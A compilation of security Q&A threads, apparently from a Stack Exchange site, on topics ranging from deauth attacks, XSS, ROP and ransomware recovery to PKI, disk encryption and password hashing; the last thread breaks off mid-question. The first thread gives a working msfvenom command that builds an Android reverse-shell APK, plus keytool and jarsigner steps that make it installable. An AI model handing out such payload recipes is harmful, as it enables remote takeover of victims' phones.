msfvenom payload problem This is for educational purposes only!

I'm trying to generate android payload using msfconsole payload standalone generator: msfvenom with the command:

msfvenom -p android/shell/reverse_tcp LHOST=192.168.100.4 LPORT=4444 R > android_shell.apk

My problem is that the apk refuse to install on any android version "I tried 4.0 to 4.3" and it shows the message:

  application not installed

What am I doing wrong? Is there some kind of signing for the apk file?

I've found my answer, referring to Signing Your Applications on Android developer, the apk needed to be signed.
However, I had to do it manually on Kali using the commands:

For generating the keystore:
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

For singing the App:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name


Prevention of sinkhole attacks I have read about many approaches to launch and detect sinkhole attacks in  wireless (sensor) networks. Yet I couldn't find any (good) articles to read about the prevention/avoidance of sinkhole attacks. The one I have found is specific to AODV Protocol in Mobile Ad hoc Networks.

How do I prevent sinkhole attacks?

If you have a sensor/IoT device network, a potential way to avoid a DNS Sinkhole, in particular, would be to only use a trusted DNS that you own.

The problem with that approach is that a TLD Name Server could still pass down unroutable addresses to your custom server, so it would have to be modified to not accept such addresses.

Or, you could skip the whole DNS circus and use hard-coded IP addresses. That way, you don't have to worry about rogue DNS entries if you aren't even looking them up. Again, this is specific to the DNS Sinkhole attack and may be vulnerable to other types of attacks.


How are exploits like Meltdown and Spectre noticed? From the brief research that I have done both Meltdown and Spectre were primarily found by the same person (Jann Horn (Google Project Zero)). How are such exploits normally noticed/found?

I think you might be confusing the terms exploit and vulnerability.

A vulnerability is a "hole" in the security, caused by a bug or poor implementation. They are detected by security researchers (white hat hackers), crackers (black hat hackers) or people in between (grey hat hackers). Those people are trying to break into the systems to either provide information about the vulnerabilities and ways to fix (patch) them, or to use these vulnerabilities for various purposes. Finding vulnerabilities is a very complicated process, requiring very high skills, and it often involves operating pretty much at the machine code level. The researcher runs pieces of code, while reading the contents of system memory with a debugger, trying to get the system to behave differently than it is expected (or designed) to. For example - a bug may allow a process to read an area of memory it is not supposed to read, as in case of recent vulnerabilities.

An exploit is a piece of software making use of the vulnerability. It's a lockpick of the IT world. Exploits are written by hackers (white, grey or black hats) to either demonstrate how a vulnerability can be used (such exploits are called PoC - Proof of Concept), or to use the vulnerability for gaining access to the system. Exploits are written for the detected vulnerabilities.


How does MDK3 carry out deauth attacks? With aireplay, you have to specify both the AP and client to send deauth frames to, but MDK3 doesn't require an AP mac address. Does it just scan the desired channel for beacons until it finds an AP then spoofs that AP's mac address to send deauth frames to clients, or am I missing something? Also, does it send deauth frames to both the AP and the client, or just to clients? I've tried sniffing packets while running MDK3 to see what's going on, but there's massive amounts of noise from other people's home wifi networks around me and I'm not sure if what I'm seeing is AP mac spoofing or other people's APs sending genuine deauth frames.

Any help would be much appreciated.

Yes, MDK3 sniffs traffic to find targets.  This allows it to find the proper source address(es) for the Deauth packets to be sent.  MDK3 also appears to send deauth packets in both directions to ensure the AP drops traffic from the client as well as the client disconnecting from the AP.


Difference between alfa card and my laptop network card? I'm following a CEH formation in which we have to buy an alfa card.
What's the difference between an alfa card and my laptop's network card?

I thought it was that alfa card can be set in monitor mode but it seems to be possible with my network card.

Every card uses a chipset from different manufacturers. The Alfa card gets recommended all the time as it uses a chipset (Ralink RT3572 on the V2) compatible with the tools you will be using (aircrack etc).

It also has good throughput and if you want to do more than just monitor, e.g Evil Twin etc you will need two NICs anyway, so always good to have a selection.

Your built in NIC may very well have the right chipset and be compatible with the tools. Most cards can go into monitor mode it is only when you start doing more complex work that you may or may not notice issues with your internal NIC.

Another advantage of an external card is the ability to add a better arial. The Alfa comes with a 7dBi antenna as standard, good for picking up a broad range of networks close by. If you need longer, narrower range and have a direct line of sight to your target a 25dBi Yagi antenna gets good results.


Login to social Media using Facebook Connect I came here with a struggle issue. We run a social media website, where people can register by classical login (might be his email or his username) and password form but also using a Facebook Connect.

When a user choose the second option, we ask for his authorization to connect to FB Auth and then FB gives us some details, as today we use the Facebook registered email as login, and his Facebook ID as password.

When we saw that we could change our main email address on fb, we knew we had to change our way to connect them.
So we thought about just sending his FB ID to Authenticate the user.

To avoid any sniffing issues we added an SSL certificate. But we still have an issue : Even with minification on our Angular APP, a user could know with a little research that to authenticate his-self to our service he "just" have to know his ID and send it to us with postman.

So if he can get the Facebook ID of another user (which might even have been leaked/sold on another website), he could use Postman to authenticate as another user.

How can I secure this process ?

We thought about using asymmetric crypto where client would cypher the ID with the pub key and server would decipher it with private key. But after all, it doesn't seems to fix the problem.

I think confirming the "FB account" is enough to authenticate (provided that you verify the source and that SSO is correctly set). You can ask the user if they want to update their email if you detect it was changed. I assume you are using another ID to track your users and the email is just a simple field, right?

I recommend you to hash the FB account as well (don't store it as plain text nor store it in the password field, as it will allowed to login using that account name).

One problem of using SSO with 3rd party services, is that if they have allow the email to be changed without confirmation (due to a security bug), then it can be used to login with any other user who is using also that SSO (assuming they know that specific user's email... which should be hidden to all users).

There are many possible ways to approach your problem. I don't know which will be the best way to implement it... better to do more research and learn how the big guys are doing it.


Reflected XSS only works through Burp Repeater because of URL encoding I am able to get reflected XSS through burp repeater using a GET request. I then click on show response in browser and I am able to get an XSS alert. But when I manually go to the URL in my browser the payload is not executed!

When I was using payloads like this in my Burp reapeater I was able to get an alert:

">

But when I go to same URL, like

https://example.com/exp=">`

it gets encoded into

https%3A%2F%2Fexample.com%2Fexp%3D%22%3E%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert%28%221%22%29%3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E

in the burp interceptor and the XSS doesn't execute. Any workaround for this?

Came across similar scenario today. Upon debugging I found that vulnerable web page was reflecting exact URL path onto the web page which was making it vulnerable to reflected XSS. Modern web browsers do encode URL path every time and the GET variable does get decoded on the server. But in this case, the server side script isn't reflecting any specific GET variable but the whole URL path.
For example following should be vulnerable PHP code in that case.

<?php echo $_SERVER['REQUEST_URI']; ?>

Here the $_SERVER variable doesn't care if the input it is getting is either URL decoded or encoded, it will just reflect as it is. So since modern browsers encode URL by default so it will be almost impossible to exploit it. If you find this XSS while doing Penetration Testing for your client, you should mention this in the report but with a low CVSS score.

AFAIK, this XSS has nothing to do with XSS filter as answered above by PortSwigger.


Policies for Password Administators I am looking for policies/guidelines for businesses that have administrators for passwords for necessary websites so management can access administrator rights in case of emergency.

A personnal password should only be known by one person. This in the one of the holy rules is security, and not respecting it might cause more harm that help.

That being said, in one key action is only allowed to one single account, an old but still valid usage is that the account owner writes his credentials on a paper, puts it in a sealed enveloppe and deposits the enveloppe in his company safe. That way, if for any reason, the company needs to use the account when the normal user is not available, it is enough to designate a new account owner, give him the enveloppe and ask him to immediately change the password and deposit the new one in an enveloppe in the safe.

Never underestimate the good old physical ways...


Questions about SOCKS5 security I'm planning to start a distributed crawler in order to avoid common limitations imposed by servers/CDN like rate limit, region filter, and others.

My idea is to have a central server and multiple agents that will run on different networks. These agents will be SOCKS5 servers. The central server will round-robin the requests in the pool of agents (SOCKS5 servers) to access the origin (website).

Is the origin able to detect the server IP?
I don't have control over the agent (SOCKS5 server), how safe is this connection? The owner of the SOCKS5 server is able to see what I'm doing or even change the request like a MiTM attack?
Something like this already exists?

The origin is able to detect the server IP?

Unless the socks server explicitly provides information about it (like adding an X-Forwarded-For header) the website cannot detect the originating IP address (what you call "server").

  I don't have control over the agent (SOCKS5 server), how safe is this connection? The owner of the SOCKS5 server is able to see what I'm doing or even change the request like a MiTM attack?

SOCKS5 does not provide any security by itself. If this is a plain HTTP request the operator of the SOCKS5 server can see everything and even manipulate the request (like adding an X-Forwarded-For header). If this is instead HTTPS and you do not specifically import  a MITM CA as trusted nor ignore certificate errors, then the SOCKS operator cannot modify the traffic and can at most the the domain and IP you access and some traffic pattern.

  Something like this already exists?

Off-topic. But services like this exist already. Though note that it does not make it more legal if you use such a service (or use your own) to violate the terms of service for websites.


Checking if an RSA private key is passphrase protected I have generated an RSA key-pair on a computer, and I want to check if the RSA private key is encrypted (protected) with a passphrase.

Note that the problem is not that I forgot the passphrase, but rather that I want to generate the key-pair again with a passphrase if I did not previously. I am curious about the command (or process) to check that information (not the passphrase itself, but the fact whether that the private key is encrypted with a passphrase).

Just open it, if it's encrypted it will begin with

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,0F5C7993DCFA4C0962CE249CFD854B91

if it is not it will begin directly by the (base64 encoded) key :

-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNhe+F6Ww2Q9XLLDFJ2s+yp/K/rQn2QMCqT3y0sqS6j+a2T


I clicked on a grabify link. What can someone do with my IP? I clicked on a link in discord not knowing it was a grabify link.
I understand that an IP only gives your general location but what else can someone do with my IP?
Can they find a way to access my computer and listen to my mic or look through my webcam?
Is malware usually attached to grabify links?

An IP address is simply like having your home address on a letter. They can know the area where you live but not more.
A malicious user could try to hack your network but usually, home routers are pretty safe and will prevent any intrusion by default (if you haven’t modified port forwarding and settings like that).
Anyway, random people online are already scanning every IP in the world and already tried to hack in anyone’s home, without success most of the time, and as every website you visite potentially logs your IP already, you shouldn’t be less safe. Pay attention to phishing emails you could receive showing you your IP address as a mean to gain your trust (if the sender tries to impersonate your ISP for instance).
Don’t panic, stay safe.


What are the alternative to PKI certificates in mesh networks? My particular problem has to do with secure communications over a mesh network (http://en.wikipedia.org/wiki/Mesh_network), in particular man-in-the-middle (MITM) attacks. The difficulty is that mesh networks require intermediary nodes (that is MITM) to properly route messages.

By secure communications I mean that any two nodes in the network can first agree on a key and then use that key to encrypt their communications. I would like to do this from a cold start, nodes have no prior knowledge of each other, and without a central authority or a PKI for certificates.

At first I considered using either the YAK key agreement because the protocol only requires one round. However it still needs a PKI to distribute and authenticate certificates which I would like to avoid.

I know about RADIUS servers (worked with them in the past) but it requires a central server which might not be easy to access from anywhere in the network. If it was not for the centralized server, this would be my solution of choice.

I also know about the notary model, but in a mesh network it can happen that all messages to node A must first be routed through node M. Thus the MITM does not allow to get different views from the same certificate.

Are there any other alternatives to the distribution of certificates ?

If I relax the restrictions a little and accepted that each node trusts some subset of the nodes. Then each node could be given, before connecting to the network, a list of trusted certificates. Nevertheless I would like the subset of trusted nodes to change with time. Are there feasible solutions for this ?

Machine A wants to talk to machine B "securely": it wants to be sure that it talks to the right "machine B". If it can do that, then it can do Diffie-Hellman with B and then use the key with the usual crypto tools. But all of this works or is even defined properly only if there is a way by which "machine B" is, from the point of view of A, distinct from any other machine (e.g. C). Without prior knowledge, "B" is just a name and any other machine can logically claim to be "B".

In other words, you need to have a central point somewhere (not necessarily as a physical system; it could be a central concept) which defines that there is a single machine called B, and pinpoints that machine among all others. With an authentication server (your RADIUS example), the central point is indeed a machine which all others trust, and use. With a PKI, the central point is administrative; it is whatever mechanism is able to give a name to each machine, and prevents two machines from claiming the same name.

Certificates are ways to transfer trust. A certificate binds a name to a public key; from the point of view of A, if a certificate has been signed by D and contains the name E and a public key, and A knows D's public key, and A trusts D for not goofing up, then A verifies the signature on the certificate and thus gains some knowledge on E's public key. The certificate is an assertion from the certificate issuer (D) about the binding between a name (E) and a public key.

There are mostly two ways to do PKI:

the hierarchical PKI, à la X.509;
the decentralized PKI, à la Web of Trust.

The two ways illustrate two faces of a trade-off. The tricky point is what I wrote above about "goofing up". A WoT, initially, looks like a good idea: machine A initially trusts its own key. Then it may know from some out-of-band mechanism (A met D in a bar) the public keys of a few other machines, that it trusts. Then A may know the public keys of other systems (e.g. E) on virtue of their keys being signed by D, and the process extends recursively. This is decentralized and works as long as A can find at least one chain of certificates from itself to its ultimate target B; this process can be helped with public key servers, which are just repositories for certificates. The beauty of the thing is that there is no need for additional protection: a certificate is valid if its signature matches, regardless of how the certificate has been obtained. Public key servers need not be trusted in any way.

The inherent problem with WoT is trust dilution. That A knows D's public key does not mean that A _trusts_ D for correctly binding names with keys. At least A met D "in person" and could have some idea about D's gullibility. But A does not know E at all; A only knows what D says in the certificate that D signs for E. Thus, A knows E's public key, but not E's trustworthiness.

Hierarchical PKI manage the trust business by using specialists: certificates are issued only by authorized entities (the Certification Authorities); there are few of them, and they ultimately respond to a central Root CA which is like God for these things. This is very centralized, and this keeps CA in line and allows trust not to be as diluted as in the case of the WoT.

So this hierarchical/WoT choice highlights the trade-off between trying to do some decentralization (that's the point of mesh networks), and avoiding trust dilution. Choose your poison. The theory of WoT is that you can counter dilution by making the graph superconnected: if A finds dozens of certificate chains which all point to B with the same key, and all these chains go through distinct nodes, then B's alleged key is probably genuine.

At least there are useful mitigations. For instance, memory. A given node can remember the public key of another node. That's how it is done with SSH. The very first connection from A to B still requires something to ensure that A uses the right key from B, but afterwards it can just reuse it.

To a large extent, the notary model, as illustrated by Convergence, is a cross between offloaded memory (the notaries remember public keys and complain loudly when a node appears to change its key too often) and a WoT-like trust (when several notaries assert the same key for a given node, it is probably genuine).

In any case, the naming must occur somewhere. It can be a decentralized "somewhere" as in the WoT (a machine B can be "B" if it convinces enough other machines that its name is "B") or something centralized as the X.509 PKI (the central authority gives a name to each machine and there is no discussing it). But it must happen at some physical or conceptual level. Otherwise the question is ill-defined.


How secure is this function for XSS sanitization? I just wrote this function to parse strings and prevent XSS:

  function tep_sanitize_string($string) {
    $patterns = array ('/ +/','/[<>]/');
    $replace = array (' ', '_');
    return preg_replace($patterns, $replace, trim($string));
  }

Is there any way to bypass this filter?
P.S.: In my application the $string will never takes place into src="" parameters or similar.

If your security is based on "in my application common use case X will never happen", it will likely fail.

First of, input sanitation is not the correct approach to XSS, context dependent encoding is.

Your approach is also overly complex. Why do you filter space and +? Why replace < and > with _, but the others with space?

Your approach is also not very user-friendly. < and > are used legitimately all the time, as is +.

All that being said, no, in a plain HTML context - not in a HTML attribute context, CSS or JS context, etc - XSS cannot take place without < and >, so there would be no way to bypass the filter. In other contexts, XSS can still happen. Even if you don't currently put user input in other contexts, you or another developer will do so in the future. And they will just assume that a function called tep_sanitize_string will be secure here as well.


What are the benefits to HTTPS between two servers I control? The current setup we have is two servers that are held internally in my building. One of these is only accessible internally, the other is public facing. The internal server communicates with the external one (to move files between them), and no other server.

Our network security team have recommended we use HTTPS for this communication, rather than HTTP - "for security reasons". I am of course not going to question their choice, but it has left me wondering what the actual benefits of this situation are.

My current understanding is that HTTPS prevents man-in-the-middle attacks, and ensures you are communicating with the server you think you are.

In this case, we own both servers and they are connected directly (physically, the entire network between them is in our control). Also, if somebody did gain access to either server, they would be able to access the files we move between them directly - whether we were using HTTP or HTTPS. So it feels like using HTTPS is not adding any additional security here (which I'm sure means I am missing something important)

In this situation, what benefits does using HTTPS provide us?

It's actually hard to make sure that the link between any two of your servers is indeed correct and cannot be rerouted or spied upon. For instance:

Common switches strives, as an optimization, to send packets only on the wires needed to reach the destination machine; however, in some circumstances (in particular if spammed with too many packets from random source MAC addresses) they tend to revet to "hub" mode, in which each incoming packet is broadcast on all wires. In order to maintain the idea that "your network is secure", you must be sure that nothing in your network is compromised.
Machine-to-machine communications are usually initiated by names: server A talks to server B by first looking up B's IP address through the local DNS. A variety of DNS spoofing methods can be used to make A believe B's IP address to be another value, even an IP address in some other place of the world.
While machines are (normally) in closed rooms, wire may run along exposed pathways (e.g. in suspended ceilings, going through less secure rooms) and cleartext data travelling on these wires may be spied upon.

It is possible to have a really secure internal network, but it requires a lot more effort than is usually thought. Enforcing systematic HTTPS between "internal" servers is easier; it is also useful for damage containment (when Bob from accounting inserts into his computer the nice USB drive he found in the parking, thereby surrendering control of his computer to an external hostile entity, generalized internal encryption may help with slowing down the attacker on his way to total compromise of your whole network).

Note that other technologies may also help; e.g. you could make a VPN tunnel (IPsec) between server A and B, and then use plain HTTP within that tunnel. The security model is slightly different (HTTPS security is between applications while a VPN tunnel is between operating systems) but it can work. In practice, HTTPS may be easier to configure.


Is it possible to use ROP to call legitimate functions even if the stack is not executable? I read about the hardware protection that blocks the CPU from jumping to stack address. But hacker may still edit the return address to an address in code memory that shouldn't run at that moment.
For example;
    #include<stdio.h>

    void ath_secuss()
    {
        printf("You have successfully logged in\n");
    }
    int main()
    {
         char password[10];
         gets(password);
         if(password=="password")
         {
             ath_secuss();
         }
    }

Can the hacker edit the return address to ath_sucess()? Also, does the return address allays in the end so we can check the data that coming in is not bigger then the ebx-1 register?

That code is a classic example of a buffer overflow vulnerability. Memory corruption is certainly possible in this case, but whether or not it's exploitable for remote code execution or arbitrary function calls depends on which exploitation mitigations are enabled within the binary and on the system, but generally it should be considered vulnerable code.
NX/DEP do not prevent ROP, since ROP relies on executing code that already exists in the program/libraries instead of attacker-supplied data on the stack/heap.


Ransomeware ziptox1 fix Recently the virus called Ransomeware affected my system and changed my database file extenstion from .mdf to .mdf.ziptox1 and showing as files are encrypted

Now I am not able to run the database, even If I rename back to .mdf. Then I bought Systools SQL Recovery and tried with renamed .mdf file. No luck, its not showing all data and seems like data deleted/corrupted.

The virus is asking me to email and pay for recovery. However, I don't want to do such activity.

  ATTENTION !
  All Your Files Was Encrypted !
  E-mail addresses: Martezon@india.com

Is there any way to retrieve data?

Ransomware can prove deadly if a proper backup system is not in place.

Corporations are starting to find out the real cost of having a poorly designed, or no back up system in place. A good backup system can stop ransomware right in its tracks.

Ransomware encrypts files, effectively scrambling them unless the correct encryption key is applied. This key can be determined, but requires extensive study that many organizations do not have time/money for. In countless cases, organizations have just paid for the key due to this reason. If you do in fact get a key after payment is entirely up to the unknown entity.

What I suggest to do:

Determine if the file was overwritten or simply copied, encrypted then the original deleted. Deleted files can be recovered, and depending on how the ransomware was designed, you can recover your original files.


How can you judge the physical security of a padlock? I recently learnt to pick locks. Eager to test out my skills, I tried picking a padlock I'd been using on a secure storage box for a number of years, and found that it only had one pin - I can get into it in less than a second. It's completely laughable. Scarily, it looks nearly identical to another padlock I have, which has 5 pins and takes me about 10 minutes to crack.

In order to get a better handle on the situation, I bought 5 padlocks, ranging from £1 to £30. From this limited sample, the quality of the lock and amount of time it took to pick was completely independent of the price. The £30 lock was indeed harder than the £1 lock, but one of the mid-priced locks was easiest of all. It seems to be almost impossible to gauge without actually attempting to pick the lock. This worries me.

How can one go about verifying that a padlock they're buying for security purposes has a reasonable security margin, before actually purchasing it? Are there any particular lock technologies or standards that are likely to be advertised on the packaging?

In Europe high security padlocks will have a "CEN rating" in accordance with the EN 1300:2004 standard. CEN ratings go from 1 (lowest) to 6 (highest). The standard is not available online for free, but this site has some details as to what the different CEN rating levels mean.


How safe is it for the client to open a Remote App? I have set up Google Chrome as a Remote Application on a Windows Server 2008 R2 machine. I can then load the application on another (Windows 10) machine outside the LAN and browse as if I was doing it from the host Server 2008 machine. It kinda acts as a proxy machine.
The whole idea is to protect the client machine (Win 10) from anything nasty that could come through the browser and keep it at the host machine. The host machine is just a RDP enabled machine and I am less concerned about it's security than that for the client machine.
Is this a safe practice, or could malware on the host machine somehow compromise the client machine when connecting to the remote application?

Security is rarely ever absolute. I mean it in the sense of not being able to say "this is absolutely safe" (negative assertions are somewhat easier).

That said, YES, using the remote app increases the effort for an attacker to compromise your client machine and in that sense, it is more secure than not using a hop.

Know though, that once the attacker compromises the remote machine it is only a matter of time before they get to your client system through the RDP server. Granted, it is not going to be straight forward, but having access is the first step. Even if they don't compromise your system, your data (while you are browsing) is up for grabs.


How can I protect data in SQL tables? Inspired by the many data leaks where whole databases/tables with personal user information were leaked, what are best practices to protect those assets?
I‘m especially concerned if someone was able to get access to backend code (which definitely should not be the case) and therefore acquire the SQL credentials.
I‘m storing personal account data that needs to be accessed only by the corresponding user.
My idea is to encrypt table data symmetrically with username and password of the user.
This makes it very difficult though when handling password resets...
Are there other ideas or common implementations for this scenario?

I‘m especially concerned if someone was able to get access to backend code and therefore acquire the SQL credentials.

The database system should be accessible from a limited number of systems. Specifically, it should not be accessible from the internet. If someone has the SQL credentials, they still won't have access to the server.
Common sources of leaks are:

SQL injection
Unauthenticated server exposed, such as MongoDB, ElasticSearch
Export CSV or document exposed, e.g. through Google Drive
Open Amazon S3 bucket
Data exfiltration after hack

My idea is to encrypt table data symmetrically with username and password of the user.

Most web applications have their data plaintext in the database, and simply check with business logic in the application whether a user may access a certain object. What you propose would give better security, but would also introduce more complexity. Think about whether it's worth it.

This makes it very difficult though when handling password resets...

When encrypting data with the user's password, that data is gone when the user forgets his password. In some cases, this is acceptable and the user should just create a new account. Otherwise, this is sometimes solved by giving the user a decryption key when setting up their account, which they are meant to print out and save. This is a "backdoor" key which can decrypt the account when the password is forgotten.


Invalid CSR when using Let's Encrypt web tools I've created a CSR using IIS. When I paste the text here...

https://www.sslshopper.com/csr-decoder.html

... it validates correctly.

But when I use the Let's Encrypt tools here...

https://zerossl.com/free-ssl/#crt

https://gethttpsforfree.com/

... both of these tools say that the CSR is invalid.

Why is this?

I needed to remove "New" from the text

  -----BEGIN NEW CERTIFICATE REQUEST-----

and

  -----END NEW CERTIFICATE REQUEST-----

The second of the tools was using a Regex which wasn't looking for that word.


Encryption while logged in If I'm using full disk encryption on my home computer, and it's online, are the hard drive contents encrypted when I'm logged in and using the machine (from the perspective of an online attacker - no physical access - would only see encrypted data)?  Similarly, what about when the machine is locked?

In the perspecive of online-attacker, then FDE is nothing. FDE is designed to protect against a offline attacker who copies your drive or steals your computer. Once the FDE is "unlocked", it will be accessible, regardless of if the computer OS is locked (Win+L) or whatever. The only thing that can protect against online attacker is good security in the form of firewalls, IPS and anti-virus software.
The only way you can "lock" a FDE is to shut down the computer fully. Even Bitlocker wont "lock" when your inside Windows, only bitlocker does, is to ensure the boot path is uncompromised Before allowing decryption (secure boot + TPM), thus preventing circumventing the windows login process. If there security holes allowing online access to your data while your computer is logged off or locked, then your'e busted anyways.

Also encryption of indivual files is a good protection, provided you dont get a keylogger. Then you are smoked anyways. The most secure way you can protect a file against online-access, is to store it on a USB memory that is normally NOT connected to computer. Of course, you need to check everytime your computer is NOT compromised Before connecting this USB-drive. For the paranoid, I would suggest booting in a known secure OS, for example a OS that is placed inside a USB memory with a physical read-only button, or a live-CD. You dont need to encrypt the file if your threat scenario does not include offline attackers.


Will re-imaging kill ransomware? Pretty much what the title suggests.

I understand its quite vague so apologies.

I'm just not sure if it's able to install something that will sit elsewhere on the machine (as in not on the C:) which could then restart the encryption.

Asking as one of the techs is about to re-image a machine and believes this will kill the problem (pxe boot wim)

Thanks

In short: yes, this would suffice under common circumstances. Of course you cannot get your data back, but it would prevent the program from launching again.

Reimaging usually replaces all programs on the C: drive and resets Windows and its settings completely. The list of programs to be executed upon startup is in system files, so reimaging will prevent the malware from launching unless you click it again.

If user data is kept, if there is another drive, or if the malware came from something like an email attachment, reimaging will not replace those files. If you accidentally click it again, or if the malware has embedded itself into other files that are not replaced by reimaging, then you will be reinfected.

In a very obscure case, it might also have embedded itself into places like the BIOS or other firmware, but I have not heard of mainstream malware doing that so that would be very unlikely. (If this were the case, you would probably have to throw the hardware away; but again, I have not heard of this happening yet.)

If your disk image is simply a backup, then be careful that your disk image does not contain the ransomware. Backup your backup before you operate on it!


How exactly does this Flash malware function on Ubuntu? In this video, an experienced Ubuntu user manages to infect his system with some sort of malware.

This is the first example I've ever seen of truly successful malware in the wild aside from privilege escalation.

I have learned my lesson and since disabled Flash, but I'm still curious, how was this able to infect the system?

An explanation was provided in the video, but the exact mechanism was not clear to me.

As with most remote exploits targeting a 3rd party plugin (i.e, Adobe Flash, in this case), the attacker used a malformed compressed flash video to corrupt the embedded flash player on the victim.

The exact mechanisms are unclear to me as I have no intent on clicking on the video you linked because that video COULD be malware itself... however, the mechanisms are always the same: at some point a data buffer of some size that was improperly parsed was able to override some key values in memory that resulted in either data leakage or remote execution on the victim.

The fact that it was a Flash movie is not surprising in and of itself. Some older vulnerabilities in Flash player, that I'm aware of, involve dereferencing invalid blocks for the size of the images embedded in the video and drawing outside the allocated canvas region. Basically, the attacker changed the dimensions of the image/video such that they were valid according to the flash scripting language but were invalid in practice and thus when the flash player tried to assemble the content it corrupted memory.

What's particularly fun/interesting is the targeting of Linux - because Windows is the dominant target for these kinds of attacks. Linux tends to be more challenging because users are typically more cognizant of their threat level and take precautions. That's obviously not a golden rule by any means, but if you're playing around with Linux you are at least trying to learn how systems work much more so than being a straight Windows user.


Research about entropy of human randomness? An argument people often use in favor of password managers is:

  Human-generated passwords have less entropy than randomly generated ones!

Is there any research to back this up? Can we quantify it?

For example, if I wrote 2048 1s and 0s. How much entropy would you expect from an average human?

This is what I could find in 30 minutes on Google Scholar.

Lots of papers on the entropy of human movement and walking gait. Lots of papers on measuring the entropy of passwords (for the purposes of displaying a strength meter). Some papers talking about the amount of entropy a human can memorize.

This paper is pretty close and probably contains some partial answers:

Password Generation and Search Space Reduction [Link to PDF]

If I am reading Table 1 correctly, then they found that when allowed to make 8 - 10 character passwords, people tend to select passwords from a roughly 240 password space. This is kinda a measure of entropy, I guess.

Here are other papers I found that are close-ish to the spirit of your question:

Entropy quantification of human brain [EEG]
Comparing User-Generated Passwords on 3x3 vs. 4x4 Grid Sizes for Android's Pattern Unlock

So within the powers of 30 minutes of my Google-Fu, I am going to say Lots of research has been done on the average entropy of passwords found in database leaks (hint: it's real low).

But as to "what's the best a human brain can do?" It looks like: No, this research has not been done.


Switching between UIDs of one PGP key Let's say I have PGP key with two UIDs (personal and for work). I want to use this key for signing Git commits.

How can I use one UID for personal projects and the other one at work?

Also it seems to me when I export public key explicitly with email of one UID, the resulting public key still contains both UIDs. Is there some way to limit the contained UIDs to that mentioned in export command?

Both UIDs are signed by the key, and the public part of the key is, well, public.  Therefore it does not really make sense to use only one of the UIDs to sign something.  You sign with the private key, the same private key which signed both UIDs (that's how you verify that something came from that UID).

You can of course make two copies of your ~/.gnupg directory (or the equivalent on MS Windows) and run:

gpg --edit-key <key>
gpg> deluid 1

On one copy and

gpg --edit-key <key>
gpg> deluid 2

On the other.  And use one copy on your personal machine and another on the work machine.  The resulting signatures from both would be absolutely the same, and, moreover, if you upload both to a keyserver it will likely merge the UIDs once again.

The only real advantage would be that a person with access to your work machine would not know your personal email.  And vice-versa.  (All that given that you do not upload the public key to a keyserver of course).

All that said, I'm pretty confident you are after two keypairs (or even keychains): one for work matters and another for personal matters.

If you need badly the separation between work and personal projects, two keyparis are definitley the way to go.  And managing two keypairs/keychains instead of one isn't a big overhead for GPG or even key backups.


Are PHP Sessions based on cookies or a cookie-IP pair? I have a PHP website and my question is:

If someone manages to steal my users' cookies via an XSS attack,
is it enough for him to be identified as the user?
Or does his IP also have to be the same as the logged in user?

My php.ini has session.use-cookies and session.use-only-cookies set to true

Cookies only; of course, there's nothing preventing you from this:

if (empty($_SESSION['ip']) {
  $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
} else {
  if ($_SESSION['ip'] != $_SERVER['REMOTE_ADDR']) {
    // IP changed
  }
}

Note that identifying a user by IP address is only a stopgap measure, and I wouldn't consider it relevant to security - e.g. large organizations use NAT, so multiple computers will appear as having the same address to the Internet at large. Conversely, e.g. mobile users' IP address can change often, so don't automatically assume "same IP address == same user, different IP address == different user".

Further concerns: IPv4 and IPv6 dual-stack, IPv6 Privacy Extensions, etc.


One way protocol with encryption without tcp I am trying to brainstorm how I might either:

1) create a protocol (although against this option)
2) use an existing protocol

That does the following:

1) allows 1 way communication from 1 node to another.
2) Provides (high grade) encryption over this 1 way connection

Requirement:

cannot use TCP
use keys similar to ssh does with public/private

I'm thinking some mature udp solution, but am not sure.

Can someone enlighten me how this may be possible?

Thanks

use keys similar to ssh does with public/private

This means authentication of the sender and recipient by letting each of these prove that they have access to the private key matching the accepted public key. This is essentially done by having on party create a challenge and the other party sign this challenge with the private key. This of course requires bidirectional communication which is against your requirement of one-way communication.

But, if you skip the "similar to ssh" you can use other established methods for one-way communication. A typical example for such methods is end-to-end encryption in mail, which is also one-way. Established protocols in this area are PGP and S/MIME which basically work like this:

Sender signs the message with its own private key, where the public key is known to the recipient.
Sender encrypts the (signed) message with the recipients public key. The encryption should of course involve also integrity protection (using an additional HMAC or authenticated encryption). And as usual the public key is not used to encrypt the whole message but this is instead done with a randomly generated symmetric key which is then protected (i.e. encrypted) with the public key.

Once the message is signed and encrypted without involvement of the recipient the message can be send over whatever unidirectional channel you want, i.e. UDP, data diode, avian carrier or whatever. There is no communication back from the recipient needed but of course the sender will never know if the recipient actually received the message.

Please note that this schema does not provide any forward secrecy, i.e. if the recipients private key is compromised all messages encrypted for this key (current, previous and future) can be decrypted. I don't think it is possible to provide forward secrecy with a pure one-way scheme though, but you might check this with the crypto experts at crypto.stackexchange.com.


Is there a CVE or CVSS for enumeration of ports? Lets say that there is a company which does not have a firewall and it is possible to perform an enumeration of ports and services.

Could it be considered a vulnerability if it provides fingerprinting information? Or is it only considered a vulenerability to the process of exploitation?

To be more precise, I have found a port for a legit service that is not protected outside of their DMZ and is providing information to exploit some other real vulnerabilities in other services. In fact, it is providing the version of the MySQL server that they use which is quite old and highly vulnerable.

How should I notify it? If I cannot set a CVSS they will suppose that there is not any risk associated.

CVE is meant for specific security-related bugs in software.
"Some single random company has a bad IT department" is not something to write there.

All mentioned problems boil down to a bad IT department, namely wrong FW configuration (not the same as a FW software bug), and no updates on their DB ("no updates made by the admin" is again not a software bug).


What are the disadvantages of combining client-side and server-side authentication security? Imagine situation:

Application might or might not be run via SSL/TLS
Application should not know password of the client because client might reuse passwords

Wouldn't then combined client-side and server-side password hashing work the best?

How would creating password work:

User enters password into a field.
Local side javascript hashes the password with salt being provided user name
This hashed data is transmitted over network to the server.
Server adds randomly generated salt to the hash and rehashes both into a new hash. This new hash and server-side random salt are stored

How would login work:

User enters password into a field.
Value of "login" field is taken as salt and local side javascript computes hash.
This hash is transmitted over the network to the server
Server takes the salt stored for that user, combines hash with salt and hashes it.
